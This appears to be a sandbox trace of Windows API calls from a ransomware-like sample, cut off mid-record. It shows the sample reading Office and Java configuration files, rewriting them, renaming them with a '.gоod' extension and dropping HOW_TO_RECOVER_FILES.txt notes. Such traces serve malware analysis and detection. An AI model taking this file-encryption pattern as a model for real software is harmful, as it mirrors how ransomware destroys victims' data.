[0136.972] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.gоod", lpFilePart=0x0) returned 0x4e [0136.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0136.972] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8396fbd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4dda81d4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x180)) returned 1 [0137.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0137.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.gоod")) returned 1 [0137.010] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1feed050, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0137.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed570) returned 1 [0137.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0137.011] GetFileType (hFile=0x63c) returned 0x1 [0137.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed4e0) returned 1 [0137.011] GetFileType (hFile=0x63c) returned 0x1 [0137.011] WriteFile (in: hFile=0x63c, lpBuffer=0x38a3f78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1feed638, lpOverlapped=0x0 | out: lpBuffer=0x38a3f78*, lpNumberOfBytesWritten=0x1feed638*=0x5d0, lpOverlapped=0x0) returned 1 [0137.012] CloseHandle (hObject=0x63c) returned 1 Thread: id = 190 os_tid = 0xfb8 [0111.229] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0111.230] CoGetContextToken (in: pToken=0x1ffef420 | out: pToken=0x1ffef420) returned 0x0 [0111.230] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ffef458 | out: ppvObject=0x1ffef458*=0x12e64e8) returned 0x0 [0111.230] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x1ffef4c8 | out: pThreadType=0x1ffef4c8*=0) returned 0x0 [0111.230] IUnknown:Release (This=0x12e64e8) returned 0x0 [0111.230] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0111.230] CoUninitialize () [0111.230] RoInitialize () returned 0x1 [0111.230] RoUninitialize () returned 0x0 [0111.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee590) returned 1 [0111.683] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management", nBufferLength=0x105, lpBuffer=0x1ffee030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management", lpFilePart=0x0) returned 0x31 [0111.683] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\*", lpFindFileData=0x1ffee2b0 | out: lpFindFileData=0x1ffee2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0111.685] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.685] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.access", cAlternateFileName="JMXREM~1.ACC")) returned 1 [0111.685] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.password.template", cAlternateFileName="JMXREM~1.TEM")) returned 1 [0111.685] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.properties", cAlternateFileName="MANAGE~1.PRO")) returned 1 [0111.685] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 1 [0111.685] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0111.685] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0111.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee4d0) returned 1 [0111.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee490) returned 1 [0111.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee590) returned 1 [0111.686] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management", nBufferLength=0x105, lpBuffer=0x1ffee030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management", lpFilePart=0x0) returned 0x31 [0111.687] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\*", lpFindFileData=0x1ffee2b0 | out: lpFindFileData=0x1ffee2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0111.688] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.688] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.access", cAlternateFileName="JMXREM~1.ACC")) returned 1 [0111.688] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.password.template", cAlternateFileName="JMXREM~1.TEM")) returned 1 [0111.688] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.properties", cAlternateFileName="MANAGE~1.PRO")) returned 1 [0111.688] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 1 [0111.688] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 0 [0111.688] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0111.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee4d0) returned 1 [0111.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee490) returned 1 [0111.689] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", lpFilePart=0x0) returned 0x4d [0111.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee340) returned 1 [0111.690] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), fInfoLevelId=0x0, lpFileInformation=0x3487e30 | out: lpFileInformation=0x3487e30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb28)) returned 1 [0111.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee300) returned 1 [0111.691] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", lpFilePart=0x0) returned 0x4d [0111.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0111.691] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0111.691] GetFileType (hFile=0x6e4) returned 0x1 [0111.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0111.691] GetFileType (hFile=0x6e4) returned 0x1 [0111.691] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1ffee398 | out: lpFileSizeHigh=0x1ffee398*=0x0) returned 0xb28 [0111.692] ReadFile (in: hFile=0x6e4, lpBuffer=0x3488c50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee2c8, lpOverlapped=0x0 | out: lpBuffer=0x3488c50*, lpNumberOfBytesRead=0x1ffee2c8*=0xb28, lpOverlapped=0x0) returned 1 [0111.693] CloseHandle (hObject=0x6e4) returned 1 [0111.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", lpFilePart=0x0) returned 0x4d [0111.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0111.720] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0111.721] GetFileType (hFile=0x6e4) returned 0x1 [0111.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0111.721] GetFileType (hFile=0x6e4) returned 0x1 [0111.721] WriteFile (in: hFile=0x6e4, lpBuffer=0x3503900*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x1ffee1d8, lpOverlapped=0x0 | out: lpBuffer=0x3503900*, lpNumberOfBytesWritten=0x1ffee1d8*=0xb30, lpOverlapped=0x0) returned 1 [0111.722] CloseHandle (hObject=0x6e4) returned 1 [0111.722] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template", lpFilePart=0x0) returned 0x4d [0111.723] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.gоod", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.gоod", lpFilePart=0x0) returned 0x52 [0111.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee300) returned 1 [0111.723] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), fInfoLevelId=0x0, lpFileInformation=0x1ffee3e0 | out: lpFileInformation=0x1ffee3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3ecd582c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb30)) returned 1 [0111.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee2c0) returned 1 [0111.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.gоod")) returned 1 [0111.723] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template", lpFilePart=0x0) returned 0x43 [0111.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee340) returned 1 [0111.723] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), fInfoLevelId=0x0, lpFileInformation=0x3504c30 | out: lpFileInformation=0x3504c30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30)) returned 1 [0111.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee300) returned 1 [0111.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template", lpFilePart=0x0) returned 0x43 [0111.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0111.724] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0111.724] GetFileType (hFile=0x6e4) returned 0x1 [0111.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0111.724] GetFileType (hFile=0x6e4) returned 0x1 [0111.724] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1ffee398 | out: lpFileSizeHigh=0x1ffee398*=0x0) returned 0xd30 [0111.724] ReadFile (in: hFile=0x6e4, lpBuffer=0x3505c08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee2c8, lpOverlapped=0x0 | out: lpBuffer=0x3505c08*, lpNumberOfBytesRead=0x1ffee2c8*=0xd30, lpOverlapped=0x0) returned 1 [0112.031] CloseHandle (hObject=0x6e4) returned 1 [0112.059] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template", lpFilePart=0x0) returned 0x43 [0112.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0112.059] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0112.060] GetFileType (hFile=0x6e4) returned 0x1 [0112.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0112.060] GetFileType (hFile=0x6e4) returned 0x1 [0112.060] WriteFile (in: hFile=0x6e4, lpBuffer=0x3577d08*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x1ffee1d8, lpOverlapped=0x0 | out: lpBuffer=0x3577d08*, lpNumberOfBytesWritten=0x1ffee1d8*=0xd40, lpOverlapped=0x0) returned 1 [0112.061] CloseHandle (hObject=0x6e4) returned 1 [0112.061] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template", lpFilePart=0x0) returned 0x43 [0112.061] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.gоod", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.gоod", lpFilePart=0x0) returned 0x48 [0112.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee300) returned 1 [0112.061] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), fInfoLevelId=0x0, lpFileInformation=0x1ffee3e0 | out: lpFileInformation=0x1ffee3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f01cc36, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd40)) returned 1 [0112.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee2c0) returned 1 [0112.061] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.gоod")) returned 1 [0112.062] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffedfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4a [0112.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee500) returned 1 [0112.062] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7ec [0112.617] GetFileType (hFile=0x7ec) returned 0x1 [0112.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee470) returned 1 [0112.617] GetFileType (hFile=0x7ec) returned 0x1 [0112.618] WriteFile (in: hFile=0x7ec, lpBuffer=0x36002e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffee5c8, lpOverlapped=0x0 | out: lpBuffer=0x36002e0*, lpNumberOfBytesWritten=0x1ffee5c8*=0x5d0, lpOverlapped=0x0) returned 1 [0112.618] CloseHandle (hObject=0x7ec) returned 1 [0112.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee590) returned 1 [0112.619] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security", nBufferLength=0x105, lpBuffer=0x1ffee030, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security", lpFilePart=0x0) returned 0x2f [0112.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\*", lpFindFileData=0x1ffee2b0 | out: lpFindFileData=0x1ffee2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 